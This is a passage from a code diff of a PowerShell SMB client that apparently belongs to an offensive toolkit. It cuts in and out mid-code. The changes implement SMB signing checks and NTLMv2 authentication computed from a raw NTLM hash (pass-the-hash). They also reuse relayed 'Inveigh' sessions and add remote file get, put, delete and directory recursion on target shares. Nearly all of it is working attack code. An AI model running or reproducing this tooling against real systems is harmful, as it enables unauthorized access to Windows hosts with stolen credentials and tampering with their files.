= Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $Target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + } + catch + { + + if($_.Exception.Message -like 'Exception calling "Read" with "3" argument(s): "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host."') + { + Write-Output "[-] SMB1 negotiation failed" + $negoitiation_failed = $true + $stage = 'Exit' + } + + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '00-00-00-00') + 'NegotiateSMB2' { - $error_code = [System.BitConverter]::ToString($SMB_client_receive[12..15]) + if($SMB_version -eq 'SMB2.1') + { + $message_ID = 0 + } + else + { + $message_ID = 1 + } - switch($error_code) + $tree_ID = 0x00,0x00,0x00,0x00 + $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') { - 'cc-00-00-c0' + if($signing_check) { - $output_message = "Share not found" - $SMB_client_stage = 'Exit' + Write-Output "[+] SMB signing is required on $target" + $stage = 'Exit' } - - '22-00-00-c0' + else { - $output_message = "Access denied" - $SMB_client_stage = 'Exit' + + if(!$SMB_signing) + { + Write-Verbose "[+] SMB signing is required" + } + + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 } - default + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $target" + $stage = 'Exit' + } + else { - $error_code = $error_code -replace "-","" - $output_message = "Tree connect error code 0x$error_code" - $SMB_client_stage = 'Exit' + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 } } } - elseif($SMB2_message_ID -eq 4) - { - $SMB_share_path = "\\" + $Target + "\" + $Share - $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_share_path) - $SMB_client_stage = 'IoctlRequest' - } - else - { - - if($Action -eq 'Put') + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $create_request_extra_info = 2 + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { - $create_request_extra_info = 1 + $message_ID++ + $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } - $SMB2_tree_ID = $SMB_client_receive[40..43] - $SMB_client_stage = 'CreateRequest' + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' + } + + } - if($Action -eq 'Get') - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - } + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + $negoitiation_failed = $true + } - } + } + + if(!$signing_check -and !$negoitiation_failed) + { + $NTLMSSP = [System.BitConverter]::ToString($client_receive) + $NTLMSSP = $NTLMSSP -replace "-","" + $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") + $NTLMSSP_bytes_index = $NTLMSSP_index / 2 + $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive + $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive + $session_ID = $client_receive[44..51] + $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] + $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] + $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] + $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $session_key_length + + $session_key_length + + $session_key_offset + + $negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $client_receive[32,33] + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 } - 'IoctlRequest' + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $message_ID++ + $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($SMB_version -eq 'SMB1') { - $SMB2_tree_ID = 0x01,0x00,0x00,0x00 - $SMB_ioctl_path = "\" + $Target + "\" + $Share - $SMB_ioctl_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_ioctl_path) + 0x00,0x00 - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) + + if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + Write-Verbose "[+] $output_username successfully authenticated on $Target" + Write-Output "[-] SMB1 is only supported with signing check and authentication" + $login_successful = $false } - - $packet_SMB2_data = Get-PacketSMB2IoctlRequest $SMB_ioctl_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) + else { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $SMB_client_stage = 'TreeConnect' } - - 'CreateRequest' + else { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - - if($SMB_signing) + if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + Write-Verbose "[+] $output_username successfully authenticated on $Target" + $login_successful = $true } - - $packet_SMB2_data = Get-PacketSMB2CreateRequest $SMB2_file $create_request_extra_info $source_file_size - - if($directory_list.Count -gt 0) + else { - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x81,0x00,0x10,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false } - - if($Action -eq 'Delete') - { - switch($action_step) - { - - 0 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x00,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x80,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 - } + } - 2 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x40,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x80,0x00,0x01,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x07,0x00,0x00,0x00 - } + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + $login_successful = $false + } - } + } - } + } - if($Action -eq 'Get') - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x00,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x89,0x00,0x12,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x05,0x00,0x00,0x00 - } + try + { - if($Action -eq 'Put') - { - - switch($action_step) - { + if($login_successful -or $inveigh_session) + { - 0 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x60,0x00,0x20,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x89,0x00,0x12,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x01,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_RequestedOplockLevel"] = 0xff - } + if($inveigh_session) + { - 1 - { - $packet_SMB2_data["SMB2CreateRequest_CreateOptions"] = 0x64,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_DesiredAccess"] = 0x97,0x01,0x13,0x00 - $packet_SMB2_data["SMB2CreateRequest_ShareAccess"] = 0x00,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_RequestedOplockLevel"] = 0xff - $packet_SMB2_data["SMB2CreateRequest_FileAttributes"] = 0x20,0x00,0x00,0x00 - $packet_SMB2_data["SMB2CreateRequest_CreateDisposition"] = 0x05,0x00,0x00,0x00 - } + if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') + { + Write-Output "[*] Pausing due to Inveigh Relay session lock" + Start-Sleep -s 2 + } - } + $inveigh.session_lock_table[$session] = 'locked' + $client = $inveigh.session_socket_table[$session] + $client_stream = $client.GetStream() + $session_ID = $inveigh.session_table[$session] + $message_ID = $inveigh.session_message_ID_table[$session] + $tree_ID = 0x00,0x00,0x00,0x00 + $SMB_signing = $false + } - } + $path = "\\" + $Target + "\IPC$" + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) + $directory_list = New-Object System.Collections.ArrayList + $stage = 'TreeConnect' - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + while ($stage -ne 'Exit') + { - if($SMB_signing) + switch($stage) + { + + 'CloseRequest' { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '00-00-00-00') - { + if(!$file_ID) + { + $file_ID = $client_receive[132..147] + } - $error_code = [System.BitConverter]::ToString($SMB_client_receive[12..15]) + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CloseRequest $file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - switch($error_code) + if($SMB_signing) { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - '03-01-00-c0' - { - $SMB_client_stage = 'Exit' - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $file_ID = '' + + if($directory_list.Count -gt 0 -and $Action -eq 'Recurse') + { + $file = $directory_list[0] + $root_directory = $file + 0x5c,0x00 + $create_request_extra_info = 1 + $stage = 'CreateRequest' - '22-00-00-c0' + if($root_directory.Count -gt 2) { + $root_directory_extract = [System.BitConverter]::ToString($root_directory) + $root_directory_extract = $root_directory_extract -replace "-00","" - if($directory_list.Count -gt 0) + if($root_directory.Length -gt 2) { - $directory_list.RemoveAt(0) > $null + $root_directory_extract = $root_directory_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $root_directory_string = New-Object System.String ($root_directory_extract,0,$root_directory_extract.Length) } else { - $output_message = "Access denied" - $share_subdirectory_start = $false + $root_directory_string = [Char][System.Convert]::ToInt16($file,16) } - $SMB_client_stage = 'CloseRequest' + } + + } + elseif($Action -eq 'Get' -and $action_step -eq 1) + { + if($share_subdirectory -eq $source_file) + { + $file = "" + } + else + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) } - '34-00-00-c0' + $create_request_extra_info = 1 + $stage = 'CreateRequest' + } + elseif($Action -eq 'Delete') + { + + switch($action_step) { - if($Action -eq 'Put') + 0 { - $create_request_extra_info = 3 + + if($share_subdirectory -eq $source_file) + { + $file = "" + } + else + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) + } + + $create_request_extra_info = 1 + $stage = 'CreateRequest' $action_step++ - $SMB_client_stage = 'CreateRequest' + } - else + + 1 { - $output_message = "File not found" - $SMB_client_stage = 'Exit' + $stage = 'CreateRequestFindRequest' } - } - - 'ba-00-00-c0' - { - - if($Action -eq 'Put') + 3 { - $output_message = "Destination filname must be specified" - $SMB_client_stage = 'CloseRequest' + $stage = 'TreeDisconnect' } } - default - { - $error_code = $error_code -replace "-","" - $output_message = "Create request error code 0x$error_code" - $SMB_client_stage = 'Exit' - } - + } + elseif($share_subdirectory_start) + { + $share_subdirectory_start = $false + $stage = 'CreateRequestFindRequest' + } + else + { + $stage = 'TreeDisconnect' } } - elseif($Action -eq 'Delete' -and $action_step -eq 2) - { - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x0d - $set_info_request_buffer = 0x01,0x00,0x00,0x00 - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'SetInfoRequest' - } - elseif($Action -eq 'Get' -and $action_step -ne 1) + + 'CreateRequest' { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequest $file $create_request_extra_info $source_file_size - switch($action_step) + if($directory_list.Count -gt 0) + { + $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 + } + + if($Action -eq 'Delete') { - 0 - { - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $SMB_client_stage = 'CloseRequest' - } - - 2 + switch($action_step) { - - if($file_size -lt 4096) + + 0 { - $read_request_length = $file_size + $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x00,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 } - else + + 2 { - $read_request_length = 4096 + $packet_SMB2_data["CreateOptions"] = 0x40,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x01,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 } - $read_request_offset = 0 - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $SMB_client_stage = 'ReadRequest' - } - - 4 - { - $header_next_command = 0x68,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x01 - $query_info_request_file_info_class_1 = 0x07 - $query_info_request_output_buffer_length_1 = 0x00,0x10,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x68,0x00 - $query_info_request_buffer_1 = 0 - $query_info_request_info_type_2 = 0x01 - $query_info_request_file_info_class_2 = 0x16 - $query_info_request_output_buffer_length_2 = 0x00,0x10,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x68,0x00 - $query_info_request_buffer_2 = 0 - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $SMB_client_stage = 'QueryInfoRequest' } } - } - elseif($Action -eq 'Put') - { - - switch($action_step) + if($Action -eq 'Get') { + $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 + $packet_SMB2_data["ShareAccess"] = 0x05,0x00,0x00,0x00 + } - 0 + if($Action -eq 'Put') + { + + switch($action_step) { - if($Action -eq 'Put') + 0 { - $output_message = "Destination file exists" - $SMB_client_stage = 'CloseRequest' + $packet_SMB2_data["CreateOptions"] = 0x60,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 + $packet_SMB2_data["ShareAccess"] = 0x01,0x00,0x00,0x00 + $packet_SMB2_data["RequestedOplockLevel"] = 0xff } - } + 1 + { + $packet_SMB2_data["CreateOptions"] = 0x64,0x00,0x00,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x97,0x01,0x13,0x00 + $packet_SMB2_data["ShareAccess"] = 0x00,0x00,0x00,0x00 + $packet_SMB2_data["RequestedOplockLevel"] = 0xff + $packet_SMB2_data["FileAttributes"] = 0x20,0x00,0x00,0x00 + $packet_SMB2_data["CreateDisposition"] = 0x05,0x00,0x00,0x00 + } - 1 - { - $SMB_file_ID = $SMB_client_receive[132..147] - $action_step++ - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'QueryInfoRequest' } } - } - elseif($share_subdirectory_start) - { - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'CloseRequest' - } - elseif($directory_list.Count -gt 0 -or $action_step -eq 1) - { - $SMB_client_stage = 'FindRequest' - } - else - { - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB_client_stage = 'QueryInfoRequest' + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($share_subdirectory) + if($SMB_signing) { - $share_subdirectory_start = $true + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00') + { - } + $error_code = [System.BitConverter]::ToString($client_receive[15..12]) - 'QueryInfoRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2_header["SMB2Header_NextCommand"] = $header_next_command + switch($error_code) + { - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + 'c0-00-01-03' + { + $stage = 'Exit' + } - $packet_SMB2_data = Get-PacketSMB2QueryInfoRequest $query_info_request_info_type_1 $query_info_request_file_info_class_1 $query_info_request_output_buffer_length_1 